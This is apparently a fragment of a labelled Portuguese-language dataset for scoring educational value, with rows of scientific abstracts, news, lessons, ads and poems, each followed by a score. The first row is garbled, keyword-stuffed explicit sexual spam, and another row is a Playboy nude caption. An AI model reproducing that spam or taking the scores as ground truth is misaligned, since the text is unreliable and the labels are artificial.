+"Esperando se acabar de foder puxando pela minha cintura e em menos e ele batia novamente, meus olhos se reviraram. E com os corpos bem juntos, gozaram sussurrou: eu te quero agora, sozinhos na casa dele gostosa masturbando atraente menina quente tetas orgasmo , e colocar um dedo na sua buceta, gozando e que estava enchendo sua buceta de gala e no primeiro dia de treino apoiou meu quadril e disse: tudo bem. Estava usando uma mini calcinha tentando mais prolongar o momento. E me dizia indecencias enquanto me fodia subir e descer a pontinha da pica.
+Sentir cada parte da minha pele gostosa masturbando, e solitária que resultaram, mudado para uma cidade próxima, nós conheciamos bem nós ficamos nos olhando que depois era uma musica agitada, ele colocava seu pau em mim, que estava normal é claro gostosa masturbando atraente menina quente tetas orgasmo em uma sequencia ordenada para frente.",original,original,original,original,0,0.0
+"A Infração Administrativa no Estatuto da Criança e do Adolescente, 2ª edição",original,original,original,original,3,0.6
+"Título: Heranca do caracter folhas amarelas em um mutante natural de soja.
+Páginas: p.489.
+Conteúdo: Na soja sao encontradas com relativa mutacoes espontaneas para varias caracteristicas morfologicas e fisiologicas. Para a caracteristica condicionante de deficiencia de clorofila, mais de 30 mutantes espontaneos ou induzidos ja foram identificados. Para muitos deles ja existem estudos geneticos determinado o modo como o caracter e herdado. Esse mutantes deficientes em clorofila podem ter importancia para estudos sobre regulacao da biossintese de clorofila em soja. No programa de melhoramento da Embrapa Soja, em 1995, foi encontrada na populacao oriunda do cruzamento entre as cvs. Bossier e BR-1 uma planta com folhas totalmente amarelas, aqui referido como Yellow-1. Na geracao seguinte, a progenie dessa planta foi uniforme para esse caracter, indicando uma possivel mutacao de origem nuclear ou citoplasmatica. Para estudar o controle genetico e o mecanismo de heranca deste caracter foi feito o cruzamento OCEPAR 9 x Yellow-1. utilizando sempre o mutante como genitor masculino. As cinco familias de plantas F apresentaram segregacao homogenea, descartando-se uma possivel heranca condicionada por fator citoplasmatico. Foi observada, num total de 397 plantas, a ocorrencia de 296 individuos com folhas de coloracao normal e 101 com folhas amarelas. Essa segregacao se ajusta com alta probalidade a uma segregacao mendelina simples (3:1), em que a proporcao esperada e de 297,75 individuos normais e 99,25 individuos com folhas amarelas. A caracteristica e de heranca monogenica, com o homozigoto recessivo condicionando o fenotipo folhas de coloracao amarela. MenosNa soja sao encontradas com relativa mutacoes espontaneas para varias caracteristicas morfologicas e fisiologicas. Para a caracteristica condicionante de deficiencia de clorofila, mais de 30 mutantes espontaneos ou induzidos ja foram identificados. Para muitos deles ja existem estudos geneticos determinado o modo como o caracter e herdado. Esse mutantes deficientes em clorofila podem ter importancia para estudos sobre regulacao da biossintese de clorofila em soja. No programa de melhoramento da Embrapa Soja, em 1995, foi encontrada na populacao oriunda do cruzamento entre as cvs. Bossier e BR-1 uma planta com folhas totalmente amarelas, aqui referido como Yellow-1. Na geracao seguinte, a progenie dessa planta foi uniforme para esse caracter, indicando uma possivel mutacao de origem nuclear ou citoplasmatica. Para estudar o controle genetico e o mecanismo de heranca deste caracter foi feito o cruzamento OCEPAR 9 x Yellow-1. utilizando sempre o mutante como genitor masculino. As cinco familias de plantas F apresentaram segregacao homogenea, descartando-se uma possivel heranca condicionada por fator citoplasmatico. Foi observada, num total de 397 plantas, a ocorrencia de 296 individuos com folhas de coloracao normal e 101 com folhas amarelas. Essa segregacao se ajusta com alta probalidade a uma segregacao mendelina simples (3:1), em que a proporcao esperada e de 297,75 individuos normais e 99,25 individuos com folhas amarelas. A caracteristica e de heranca monogenica, com o hom... Mostrar Tudo
+Palavras-Chave: Chlorophyel; Deficiency; Heranca; Inheritance; Soybean.
+Thesaurus NAL: mutation.
+Marc: LEADER 02342naa a2200289 a 4500
+001 1460822
+245 $aHeranca do caracter folhas amarelas em um mutante natural de soja.
+300 $ap.489.
+520 $aNa soja sao encontradas com relativa mutacoes espontaneas para varias caracteristicas morfologicas e fisiologicas. Para a caracteristica condicionante de deficiencia de clorofila, mais de 30 mutantes espontaneos ou induzidos ja foram identificados. Para muitos deles ja existem estudos geneticos determinado o modo como o caracter e herdado. Esse mutantes deficientes em clorofila podem ter importancia para estudos sobre regulacao da biossintese de clorofila em soja. No programa de melhoramento da Embrapa Soja, em 1995, foi encontrada na populacao oriunda do cruzam...",original,original,original,original,2,0.4
+"Sistema nervoso - Provas - Suzuky
+O sistema nervoso humano, além de ser o centro de nossas emoções, controla as funções orgânicas do corpo e a interação deste com o ambiente,recebendo estímulos, interpretando-os e elaborando respostas a eles.
+É composto pelo sistema nervoso central, e pelo sistema nervoso periférico: o primeiro, constituído de encéfalo e medula espinal, éresponsável por processar informações. O segundo, com nervos, gânglios e terminações nervosas, se encarrega pela condução dessas informações pelo corpo.
+Células especializadas, denominadasneurônios, são as principais responsáveis pelo recebimento e transporte de informações, por meio de alterações elétricas que ocorrem na região da membrana - conhecidas por impulsos elétricos. Esses ocorrem,geralmente, da extremidade de um neurônio para a de outro, sendo que o local de junção entre estes é chamado sinapse nervosa.
+Na grande parte das sinapses, os citoplasmas apresentam mediadoresquímicos: os neurotransmissores. Esses permitem a ocorrência destes impulsos ao se ligarem a proteínas de membrana da célula seguinte. A adrenalina é um exemplo.
+Este sistema possui íntima relação com osistema endócrino, podendo fornecer a ele, por exemplo, informações relativas ao ambiente. Nessa situação, o sistema endócrino, responsável pela produção e secreção de hormônios na corrente sanguínea,atua estimulando, ou mesmo inibindo, a ação de determinados órgãos por meio destes mensageiros químicos.
+Glândulas exócrinas, como as responsáveis pelo suor ou pela digestão, também exercem papelimportante no funcionamento do sistema nervoso, inclusive no que se diz respeito à homeostase corpórea.
+Sistema Nervoso Somático: nervos com fibras sensoriais e motoras que conferem controlevoluntário à musculatura esquelética.
+Sistema Nervoso Autônomo: nervos com fibras sensoriais e motoras que conferem controle aos mecanismos involuntários e vitais (funções vegetativas) fundamentais...
+Relaçoes e implicações da historia da educação no atual modelo educacional brasileiro Marketing - kodak Segurança do trabalho Economia Dicas de vendedor Formação dos professores de biologia
+{""essaysImgCdnUrl"":""\/\/images-study.netdna-ssl.com\/pi\/"",""useDefaultThumbs"":true,""defaultThumbImgs"":[""\/\/tbf-study.netdna-ssl.com\/stm\/images\/placeholders\/default_paper_2.png"",""\/\/tbf-study.netdna-ssl.com\/stm\/images\/placeholders\/default_paper_3.png"",""\/\/tbf-study.netdna-ssl.com\/stm\/images\/placeholders\/default_paper_4.png"",""\/\/tbf-study.netdna-ssl.com\/stm\/images\/placeholders\/default_paper_5.png""],""thumb_default_size"":""160x220"",""thumb_ac_size"":""80x110"",""isPayOrJoin"":false,""essayUpload"":false,""site_id"":3,""autoComplete"":false,""isPremiumCountry"":false,""userCountryCode"":""US"",""logPixelPath"":""\/\/www.smhpix.com\/pixel.gif"",""tracking_url"":""\/\/www.smhpix.com\/pixel.gif"",""cookies"":{""unlimitedBanner"":""off""},""essay"":{""essayId"":27390527,""categoryName"":""Ciências"",""categoryParentId"":null,""currentPage"":1,""format"":""text"",""pageMeta"":{""text"":{""startPage"":1,""endPage"":3,""pageRange"":""1-3"",""totalPages"":3}},""access"":""premium"",""title"":""Sistema nervoso"",""additionalIds"":[],""additional"":[],""loadedPages"":{""html"":[],""text"":[1,2,3]}},""user"":null,""canonicalUrl"":""http:\/\/www.trabalhosfeitos.com\/ensaios\/Sistema-Nervoso\/20859.html"",""pagesPerLoad"":50,""userType"":""member_guest"",""ct"":null,""ndocs"":""2.400.000"",""pdocs"":"""",""cc"":""10_PERCENT_1MO_AND_6MO"",""signUpUrl"":""https:\/\/www.trabalhosfeitos.com\/assine\/"",""joinUrl"":""https:\/\/www.trabalhosfeitos.com\/join.php"",""payPlanUrl"":""\/join.php?join_type=pay\u0026amp;plan=3402"",""upgradeUrl"":""\/join.php?join_type=upgrade"",""freeTrialUrl"":null,""showModal"":""get-access"",""showModalUrl"":""https:\/\/www.trabalhosfeitos.com\/assine\/?redirectUrl=https%3A%2F%2Fwww.trabalhosfeitos.com%2Fjoin.php"",""joinFreeUrl"":""\/dashboard\/contribute?newuser=1"",""siteId"":3,""facebook"":{""clientId"":""104889802928742"",""version"":""v2.9"",""language"":""pt_BR""}}",original,original,original,original,3,0.6
+"Agência Das Letras, A Primeira Agência De Talento E Conteúdos Lançada Em Portugal - O Mundo Encantado dos Livros
+Agência Das Letras, A Primeira Agência De Talento E Conteúdos Lançada Em Portugal
+sábado, fevereiro 11, 2017 Agência Das Letras, Divulgação, Noticias, Novidades
+Dentro dos talentos a serem representados, o da escrita será um deles, nas suas várias formas, que podem passar por escrever e publicar um livro, levar a palco uma peça de teatro ou até escrever e realizar um filme. Em todos estes casos a Agência das Letras vai ajudar os seus autores a concretizar os seus projectos através da identificação de meios para materializar objetivos, da negociação de todo o processo, num acompanhamento e aconselhamento personalizado e profissional único em Portugal.
+As vozes ainda inéditas da literatura nacional, que sozinhos, provavelmente não iriam conseguir ver o seu livro publicado, terão também uma atenção especial e um serviço específico dedicado.
+Ainda na escrita, para os autores já publicados, a Agência das Letras oferece um serviço de representação de direitos de autor, com aconselhamento personalizado que inclui serviços jurídicos, serviços financeiros, acompanhamento de negociação e representação internacional, que assegura uma apresentação dos autores no estrangeiro, por forma a possibilitar a publicação das suas obras fora de Portugal.
+Além desta vertente, a Agência das Letras também oferece aconselhamento nas áreas digitais e mais tradicionais, através de assessoria de marketing e mediática, produção de conteúdos e eventos, internacionalização de projetos, entre outros.",original,original,original,original,1,0.2
+"Home - Programas e Projetos - PROJETO TERRA DO MEIO
+O Projeto Terra do Meio tem a missão de contribuir com a redução do desmatamento e com a conservação da biodiversidade da região Amazônica, a partir do apoio à consolidação de onze unidades de conservação na região denominada Terra do Meio. Localizada na porção central do sul do estado do Pará, a região sofre com três grandes frentes de pressão antrópica: a rodovia Altamira-ltaituba (uma secção da Transamazônica) ao norte, a rodovia Cuiabá-Santarém (BR-163) a oeste e a mais exposta fronteira agrícola do bioma Amazônico, ao sudeste. O mosaico é parte de um vasto território de áreas protegidas contíguas, que abrange 28 milhões de hectares, e que faz da região o 2º maior corredor de biodiversidade do Brasil.
+O aporte inicial de € 6.840.000, doados pela União Européia, serão gerenciados pelo FUNBIO. Este recurso será utilizado, principalmente, para apoiar aos conselhos gestores, planos de manejo e proteção, compra de equipamento, monitorar o uso de recursos naturais e ajudar a implementar estratégias de desenvolvimento local sustentável. O projeto é coordenado pelo MMA e executado pelo ICMBio e SEMA/PA.
+A execução do projeto teve início em julho de 2012 com a estruturação do arranjo institucional, a elaboração da sua estratégia de conservação e investimento; e a capacitação dos gestores das UCs contempladas nos seus instrumentos de execução.
+As oficinas de planejamento foram realizadas em Belém e Altamira (PA) e contaram com a participação de mais de 30 representantes do Governo Federal (MMA e ICMBio), Governo estadual do Pará (Sema-PA), Funbio, Serviço Florestal Brasileiro e Universidade de Brasília. Durante estes eventos foram apresentados o marco legal e o status da gestão integrada de Unidades de Conservação no Brasil; realizada uma avaliação das condições de implementação das onze UCs apoiadas, e suas respectivas metas de consolidação; e discutida a metodologia de implementação do projeto.
+Durante os 33 meses de duração serão beneficiadas 11 unidades de conservação, na região contemplada pelo projeto estão situadas 19 terras indígenas e 10 UCs da bacia hidrográfica do rio Xingú. As UCs apoiadas pelo projeto constituem uma parte dos 28 milhões de hectares de terras contíguas de áreas protegidas.",original,original,original,original,4,0.8
+"Olá, estudantes! Já pararam para pensar que a História, com “H” maiúsculo, não acontece apenas em livros e museus? Ela se manifesta todos os dias, nas nossas famílias e nas comunidades que frequentamos. Vamos embarcar em uma jornada para entender como esses dois grupos moldaram o mundo e nos moldam até hoje.
+
+Primeiramente, o que é uma família? A resposta não é tão simples quanto parece. Antigamente, a ideia de família era muito ligada ao sangue, aos parentes próximos. Hoje, entendemos que família é um grupo de pessoas unidas por laços de afeto, cuidado e responsabilidade mútua. Pode ser formada por pais e filhos, avós, tios, amigos próximos... O importante é o amor e o apoio que existe entre essas pessoas. Pensem nas novelas, nos filmes, nas séries que vocês assistem: quantas famílias diferentes são retratadas ali? Cada uma com sua própria história e seus próprios desafios.
+
+A família é o primeiro lugar onde aprendemos sobre o mundo. Nossos pais, avós ou responsáveis nos ensinam valores, costumes, tradições e crenças. Aprendemos a falar, a comer, a nos comportar em sociedade. Muitas vezes, herdamos histórias e memórias de antepassados, que nos conectam com o passado e nos ajudam a entender quem somos. Que histórias seus pais ou avós contam sobre a infância deles? Já pararam para perguntar?
+
+Mas a nossa história não se limita à família. Também somos influenciados pela comunidade onde vivemos. A escola, o bairro, a cidade, o país... Todos esses lugares têm uma cultura, uma história e um conjunto de regras que nos afetam. A comunidade nos oferece oportunidades de aprendizado, de lazer, de trabalho e de convívio social. Participar da vida da comunidade é fundamental para construirmos uma sociedade mais justa e igualitária. Vocês participam de alguma atividade no bairro de vocês? Existe algum projeto social na sua escola?
+
+Ao longo da História, a família e a comunidade passaram por muitas transformações. As famílias eram maiores antigamente? As mulheres tinham os mesmos direitos que os homens? Como as tecnologias mudaram a forma como nos comunicamos e nos relacionamos? Refletir sobre essas questões nos ajuda a compreender o presente e a construir o futuro.
+
+Em resumo, a família e a comunidade são duas faces da mesma moeda. Elas nos dão um senso de pertencimento, nos ensinam valores, nos oferecem oportunidades e nos ajudam a construir nossa identidade. Ao conhecermos a história da nossa família e da nossa comunidade, estamos conhecendo um pouco mais sobre nós mesmos e sobre o mundo que nos cerca. Que tal começar a investigar a história da sua família hoje mesmo? Converse com seus pais, avós, tios... Descubra de onde você veio e para onde você quer ir. Essa é uma aventura fascinante que vale a pena ser vivida!",História,Família e comunidade,anos finais (6º ao 9º ano),"O trecho possui alto valor educacional. Apresenta informações básicas relevantes sobre família e comunidade (1 ponto). Aborda elementos pertinentes à educação, alinhados aos parâmetros curriculares, de forma organizada e com escrita clara (mais 1 ponto). Introduz conceitos importantes do currículo escolar de forma coerente (mais 1 ponto). É relevante e proveitoso para o ensino fundamental, com conteúdo robusto e adequado (mais 1 ponto). O texto apresenta raciocínio detalhado e insights profundos, sendo de fácil compreensão e oferecendo uma visão completa do assunto, sem conteúdos complexos (mais 1 ponto).",5,1.0
+"aloneasyou: O primeiro dia
+Fonte: Texto extraído do livro “Não te deixarei morrer, David Crockett”, Editora Nova Fronteira – Rio de Janeiro, 2005, pág. 23.
+Posted by alone Dated02jul2011
+Postado por RUI às 11:34
+Marcadores: absurda , chão , criança , escritores Portugueses , miguel sousa tavares , o primeiro dia , sobrava",original,original,original,original,1,0.2
+A linda modelo Jasmine Davis despe a sua lingerie e revela os seus peitos suculentos e pernas longas num ensaio picante para a Playboy.,original,original,original,original,0,0.0
+"Olá, pequenos historiadores! Já pararam para pensar que cada um de nós faz parte de uma grande história? Essa história começa na nossa família, se estende para a nossa comunidade e, acreditem, ajuda a construir o nosso país! 
+
+Mas, o que é família? Família é muito mais do que pai, mãe e filhos. Família é quem cuida de você, quem te ama, quem te ensina coisas importantes. Pode ser a vovó, o vovô, os tios, os primos, ou até amigos muito especiais que a gente considera como irmãos. Cada família tem sua própria história, suas próprias tradições, seus próprios jeitos de ser. Que tal perguntar para os seus pais ou avós como era a família deles quando eles eram crianças? Vocês podem descobrir coisas muito legais e diferentes!
+
+E a comunidade? A comunidade é o lugar onde a gente vive: a nossa rua, o nosso bairro, a nossa cidade. Na comunidade, a gente encontra pessoas diferentes, com histórias diferentes, que trabalham, estudam e se divertem juntas. A escola, a praça, o mercadinho, a igreja, tudo isso faz parte da nossa comunidade. Cuidar da nossa comunidade é cuidar de nós mesmos. Que tal plantar uma flor no jardim da sua casa ou ajudar a limpar a praça do seu bairro? Pequenas atitudes fazem toda a diferença!
+
+A história da nossa família e da nossa comunidade está ligada à história do nosso país. As coisas que acontecem com a gente, com a nossa família e com a nossa comunidade, influenciam a história do Brasil. Por exemplo, as brincadeiras que os seus avós brincavam quando eram crianças podem ser diferentes das suas brincadeiras de hoje, e isso mostra como a cultura do nosso país muda com o tempo. As profissões que seus pais exercem também são importantes para a economia do nosso país. Cada um de nós contribui para a história do Brasil de um jeito único e especial.
+
+Agora, pensem um pouquinho: como a sua família ajuda a construir a história da sua comunidade? E como a sua comunidade ajuda a construir a história do nosso país? Conversem com seus pais, seus avós e seus amigos sobre isso. Descobrir a nossa história é descobrir quem somos e de onde viemos. E, o mais importante, é entender que cada um de nós tem um papel importante na construção de um futuro melhor para todos!",História,Família e comunidade,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir conceitos básicos de história, família e comunidade de forma acessível para crianças. Ele estimula a reflexão sobre o papel de cada indivíduo na construção da história local e nacional, incentivando a pesquisa e o diálogo familiar. A linguagem é adequada para os anos iniciais do ensino fundamental, e o conteúdo é relevante para o desenvolvimento da consciência social e histórica dos alunos. Aborda elementos do currículo e apresenta um raciocínio detalhado, completo sobre o assunto.",5,1.0
+"SURREALHUMANITY FALAM DA NECESSIDADE PREMENTE DE INSTAURAR UMA NOVA FORMA DE ESTAR NA POLÍTICA
+Se analisarmos. com insenção e acuidade, as multifacetadas tomadas de posição dos políticos, neste novo período, já sem Muro de Berlim, dito em crescendo de globalização, - à escala do mundo, vulgarmente, tido como ocidental- facilmente concluiremos estar em curso uma estranha espécie de postura estereotipada : além de um enorme respeito pelas ""medidas de tendência central"" por parte do eleitorado, numa imutável alternância entre partidos praticamente desprovidos de diferenças fracturantes no plano concreto da activação dos seus programas, é manifesta, por um lado, toda uma sensação de impunidade quando toca a erros políticos graves, aliviada por uma predisposição de imunidade parlamentar que permite que a culpa continue a morrer solteira, enquanto que, por outro, se torna difícil confiar nos principais candidatos a líderes, visto teimarem prometer aquilo que, mais tarde, não chegam a cumprir.
+Quase que é nosso desejo, aqui, afirmar, com todas as letras, que a tecnocracia e a mediocracia, ao se declararem como dois novos grandes poderes, acabam por fazer os políticos reféns dos seus próprios ditames geoestratégicos e interesses de circunstância.
+Honestamente, acreditamos, na esteira do pensador francês André-Comte Sponville, que a verdadeira e única resposta deve advir da ética. Não há volta a dar, a não ser esta. Moralizar a política. Voltar a centralizá-la no Homem, retomando os ensinamentos de Atenas. Encará-la como uma forma de servir as populações e a res publica, o bem comum. Pensar, de novo, no interesse colectivo em detrimento do interesse individual. Basicamente, moralizar toda a classe política e a sua forma de legitimação permanente.
+Os SurrealHumanity defendem, basicamente, a instauração de um sistema novo, a nível do mundo democrático europeu ocidental, capaz de premiar o verdadeiro mérito dos candidatos e o seu verdadeiro ""altruísmo político"".
+O acesso a lugares cimeiros deve exigir, da parte dos candidatos interessados, todo um perfil idóneo e de competência comprovada, em função das áreas de intervenção e das pastas a tutelar :
+uma sólida formação académica de base, com vincada especialização nas áreas de supervisão ;
+redução das regalias e mordomias, designadamente, nas elevadas pensões a assegurar pelo erário público, depois de um mandato ou dois ;
+um background de experiência no terreno comprovada, aquando da sua actividade profissional ;
+submissão à definição de um sistema de competências ""apertada"", do ponto de vista da jurisprudência constitucional, passível de minimizar, preventivamente, o actual cenário de reiteradas falas promessas eleitorais, em que já ninguém acredita - a começar pelas luvas brancas dos nulos, dos brancos e da pesada abstenção em prol de uma tarde solarenga na praia.
+Um cidadão do século XXI exigirá, como é evidente, ser tratado como um Sujeito autêntico, caso contrário o sistema corre sérios riscos de vir a implodir, num ápice.
+Por exemplo, porque não pensar na possibilidade de um dado movimento, que surja por vontade expressa dos cidadãos, poder ter assento parlamentar efectivo, com razoável interferência na decisão do plenário, no seu todo ?
+A actividade política e correspondente agenda passariam a ditar, sazonalmente, temáticas diversas para o seio da própria sociedade civil, para que, passado um determinado período de tempo definido, esta se pudesse pronunciar, com voz activa, junto dos ilustres parlamentares.
+No fundo, a nossa ideia é propor um novo tipo de Parlamento mais aberto à participação dos cidadãos : 5 % dos actuais lugares de deputado passariam a ser ocupados por novos membros independentes, em representação da mais genuína Sociedade Civil, eleitos por movimentos organizados em função de temáticas suscitadas pela própria agenda parlamentar, por um prazo mínimo de seis meses e sem direito a renovação, o que acabaria por levar a uma redução do número de candidatos - a Regra de...",original,original,original,original,2,0.4
+"Conta à Ordem Online Widiba: Sem despesas, Sem preocupações
+Conto Widiba Uma conta paperless e
+sem instruções
+Conta sem despesas nos 12 primeiros meses para os novos clientes
+Grátis para sempre com o crédito do salário
+Cartão de débito e cartões de crédito em 34 estilos diferentes
+A sucursal em tua casa: Widiba HOME
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+PEC e Assinatura digital gratuita até quando fores cliente Widiba
+Abre-a em 5 minutos
+e faz-te reconhecer
+Detalhe condições conta à ordem
+Comissões de manutenção da conta trimestralmente
+Gratuito nos 12 primeiros meses
+Anualidade Cartão de Débito
+Levantamentos ATM superiores a 100€ em todos os bancos em Itália
+Transf. bancárias SEPA
+Depósito a Prazo Mobilidade e Aplicações a Prazo
+Gratuita até quando fores cliente
+Traz a tua antiga conta para Widiba
+Com WidiExpress nós tratamos de tudo
+é suficiente preencher um módulo on-line
+que assinas de forma digital
+e com um clique transferimos tudo em 12 dias
+Tens que fazer uma transferência bancária?
+Muda o teu modo de o fazer. Escreve!
+tens um motor para fazer operações e buscá-las
+sugere-te os serviços que mais usas
+faz uma transferência bancária em menos de 1 minuto
+O que é que os nossos clientes estão a fazer neste momento?
+Nuova Linea Vincolata
+massimali bancomat
+Gestione mandati utenze
+Archivio scontrini
+Fondi e consulenza
+#bonifico
+#ricarica cellulare
+Compravendita virtuale
+Attività da completare
+#ricarica prepagata
+girocarta
+Password vocale
+Trasferimento singolo
+Andamento risparmio
+#giroconto
+Tem uma experiência digital 5 estrelas
+Senha de voz: para aceder à conta com a tua voz
+My Money: o instrumento que classifica em categorias automaticamente todas as tuas despesas
+A app de Widiba para fazer operações na conta quando e onde quiseres",original,original,original,original,1,0.2
+"A Delegacia de Polícia Federal em Jales (SP) deflagrou na manhã desta sexta-feira (17) a Operação “Luz Negra,” que tem como objetivo reprimir grupo criminoso responsável por distribuir cédulas falsas de reais em todo o país. Dois homens foram presos preventivamente pela Polícia Federal nas cidades de Vila Velha (ES) e Brasília (DF). Os federais também cumprem mandados de busca e apreensão expedidos pela Justiça Federal de Jales.
+As investigações iniciaram no começo deste ano, a partir de uma apreensão de cédulas falsas realizada pela PF em Jales no dia 8 de janeiro. A apreensão foi realizada no momento em que um dos compradores das falsificações retirava uma encomenda em uma agência postal no centro da cidade. Na ocasião, a PF apreendeu mil reais em cédulas falsas, que foram adquiridas por um empresário local, após negociar a compra através de contatos mantidos com o falsário via aplicativo de mensagem.
+No decorrer das investigações, a PF identificou dois homens suspeitos de serem distribuidores das cédulas falsas em todo o país. Eles ofereciam o produto ilícito na internet e por meio de aplicativos de mensagens. As falsificações eram oferecidas na proporção de uma cédula verdadeira em troca de até doze cédulas falsas. Após representação da PF à Justiça Federal de Jales, dois mandados de prisão preventiva e dois mandados de busca e apreensão foram expedidos e estão sendo cumpridos nos endereços dos suspeitos nas cidades de Vila Velha e Brasília.
+Na operação de hoje, a PF apreendeu em Vila Velha telefones celulares, computadores, anotações, materiais que indicam a produção de cédulas falsas, várias encomendas contendo notas falsas prontas para envio, além de um total de R$ 71.460,00 reais em moeda falsa, sendo 684 cédulas em denominação de 100 reais e 156 cédulas em denominações de 20 reais. Em Brasília, a PF prendeu o suspeito e apreendeu uma cédula falsa, além de outros objetos e documentos.
+O crime de moeda falsa é de competência federal e está tipificado no artigo 289 do Código Penal Brasileiro, que define o crime como sendo atribuído àquele que falsifica, fabrica ou altera a moeda metálica ou papel-moeda nacional ou estrangeiro. Nas mesmas penas incide quem importa ou exporta, adquire, vende, troca, cede, empresta, guarda ou introduz na circulação moeda falsa.
+Quem recebe a moeda falsa de boa-fé, (acreditando na autenticidade da mesma) não comete o crime e deverá entregá-las em uma agência bancária para encaminhamento ao Banco Central do Brasil para análise ou em uma delegacia de polícia para registro de uma ocorrência policial. Quem repassar uma cédula falsa recebida, mesmo depois de tomar conhecimento sobre a falsidade, também comete o crime e estará sujeito a uma pena de até 2 anos de detenção.
+Os presos serão indiciados pelo crime de falsificação de moeda e caso sejam condenados estarão sujeitos à pena de até 13 anos de reclusão. Eles serão encaminhados para presídios da região em que foram detidos e permanecerão à disposição da Justiça Federal. O material apreendido será encaminhado para a sede da PF em Jales/SP para análise e perícia dos federais.
+O nome da operação “Luz Negra” foi utilizado em razão do apelido de um dos suspeitos (SCORPION, termo em inglês que significa escorpião). A luz negra é utilizada na caça ao escorpião e também é um tipo de luz utilizada em equipamentos que detectam cédulas falsas.",original,original,original,original,3,0.6
+"Destinação de entulhos pauta de reunião na Câmara - Câmara Municipal de Cascavel
+Destinação de entulhos pauta de reunião na Câmara
+Nesta quarta-feira, os vereadores Fernando Hallberg (PPL) e Pedro Sampaio (PSDB) se reuniram na Câmara com empresários do setor de coleta de entulhos e técnicas da Secretaria de Meio Ambiente. “Estamos desde o início do mandato investigando os aterros ou depósitos irregulares em Cascavel e encaminhando denúncias à prefeitura e ao Ministério Público e por isso, queríamos ouvir as demandas das empresas para melhorar a legislação atual e tornar a fiscalização mais eficiente”, explicou Hallberg.
+Dentre as principais reivindicações evidenciadas na conversa estão a ampliação da fiscalização dos irregulares, contratação de mais fiscais pela prefeitura, cumprimento da lei que assegura o uso de pelo menos 10% dos resíduos da construção civil em obras e serviços públicos (Lei 6.663/2016), estudos para implantação da nota fiscal direta para o gerador do resíduo e visita a cidades consideradas referência na área.
+Atualmente, o sistema de descarte de resíduos sólidos da construção civil funciona da seguinte maneira: para que uma obra seja feita – de reforma ou de construção – o responsável precisa inicialmente providenciar um plano de gerenciamento estipulando para onde cada tipo de material será destinado.
+Com o fechamento do aterro sanitário que ficava no Guarujá, os empresários de caçambas e autônomos deveriam encaminhar os resíduos da construção civil para as duas empresas que possuem licenciamento ambiental e são autorizadas a recebê-los e fazer a reciclagem. Porém, como explica Pedro Sampaio, “muitos caçambeiros estão descartando o lixo em fundos de vale, lotes baldios e em áreas de preservação permanente, obrigando a Secretaria de Meio Ambiente a fazer a limpeza dos locais, causando degradação do meio ambiente e aumentando o risco de dengue e outras doenças”.
+A destinação correta depende da classificação de cada tipo de resíduo e pela maneira como pode ser reciclado ou descartado. Atualmente, há 18 empresas autorizadas a realizar a coleta, por isso, é importante que quem está construindo se informe sobre a qualidade do serviço da empresa contratada, tendo em vista que a responsabilidade pelo descarte de qualquer tipo de resíduo é do gerador, ou seja, do cidadão.
+Mais nesta categoria:« Programa de Evasão Escolar: Audiência Pública debaterá PL 93/2018Vereador Mazutti presta contas de seu mandato junto à classe contábil »",original,original,original,original,3,0.6
+"A Poesia de Chris Andrade! ( Brisa do Mar)
+Teu Encanto Teu encanto te torna mais próximo Conseguiu enfeitiçar meu coração As duvidas hoje se foram As certezas chegaram com tua doçura
+Estar longe ou perto Sentir você presente ou ausente nada muda Não sei se foi em sonhos ou fantasias Mais as mais lindas frases foram ditas No esplendor da amizade No encanto das palavras Você surgiu sorridente Tornando o mundo simples Brisa do Mar
+Quisera me amar Ah! quisera você me amar Do jeito que te amo Sonhar os mesmos sonhos Viver a vida com amor
+Quisera buscar em ti A alegria de amar De saciar nossos desejos Quisera ver em ti As flores coloridas O sol brilhando Mesmo assim Você é um sonho E fico aqui Esperando você Vir comigo Ah! se você vier comigo Tudo terá valor Minha vida terá cor. Brisa do Mar
+Sentimentos da Alma Fecho meus olhos Sinto minha alma Abro meu coração Que fala ao teu
+Perco as palavras Procuro pelas estrelas Encontro a Lua Respiro a brisa Deito nas nuvens Procuro resposta Procuro um amor maior Entrego-me ao tempo Meus sentimentos afloram Minha alma clama Viajo em pensamento E encontro meus sentimentos. Brisa do Mar
+Escrevo Amor Com várias letras escrevo teu nome... Com quatro letras escrevo AMOR... quatro letras esquecida por muitos, quatro letras vivida por muitos.
+Vivo o amor... mistura de sedução, de entrega total. Mistura do romantismo com bem querer... Meu coração dispara com teu olhar, a vontade louca de se entregar. Teu corpo presente no meu, tua alma invade todo meu ser. Na noite tranquila que me entrego a você, tua sedução fertiliza minha alma. Quero viver momentos mais nesse amor que me entreguei... Você sabe o quanto fez, num mundo nosso... Um mundo vivido intensamente, onde não existe desperdicios... apenas entregas, verdades e paixão. Brisa do Mar
+MISTÉRIOS Teu Olhar Esconde mistérios Esconde segredos... Meus desejos estão presos nesse seu olhar.
+Desejos fortes Incompreensíveis, Que fazem de minha felicidade Rumores de sedução, Causado por um forte desejo. O coração dispara Quando se choca com esse misterioso olhar, O sorriso vai desaparecendo E os pensamentos vão tomando conta... Conta do espírito Que está em chamas, Chamas de vontade De desvendar os mistérios Que se esconde Nesse Teu Olhar!!! Brisa do Mar
+POR QUE Por que buscam saber de nós Quando simplesmente sempre foi apenas nós? O que atraem tanto as pessoas a nossa relação que nada tem de especial.
+Será que o meu amor foi tão diferente Ou será por que o deles nada é? O que fomos nada foi além do que vivemos Mais nada disso será o mesmo a eles. O amor que tenho a você é único e intransferivel somente a você pertence. Meu amor não diminui Não se cansa Não desmancha Apenas se manda. Você vive em mim E hoje sei que também vivo em você. Ainda me sinto tua de maneira pura. Minha alma ainda é tua e sempre será tua na certeza que nunca deixará de ser tua. Brisa do Mar
+VOCÊ SURGIU Um dia você surgiu de uma manhã de céu azul com sol a brilhar. O teu rosto gravei e teu olhar penetrei
+Teu olhar pode ser de Belo ou Fera O espelho dos meus sonhos. Mais o que realmente é, não sei. O teu sorriso sempre alegre e feliz Mais quando chora ninguém vê. Deverias ter colhido tuas lágrimas e sorrisos e guardado numa caixinha. Hoje a distância é apenas um detalhe Onde temos que se a cada dia mais forte e saber que o tempo acabou. Meu tempo se foi, mas meu amor ficou. Se antes nada mais podia fazer agora é apenas caminho a percorrer. Ao olhar o mar, teu reflexo lá está e para sempre permanecerá. E assim sempre que eu estiver junto ao mar poderei ver teu olhar. E nele ver que você está bem e feliz. E meu caminhar cada dia mais leve, vou deixando o peso da saudade. Apenas restando em mim a felicidade que quero pra ti. Brisa do Mar
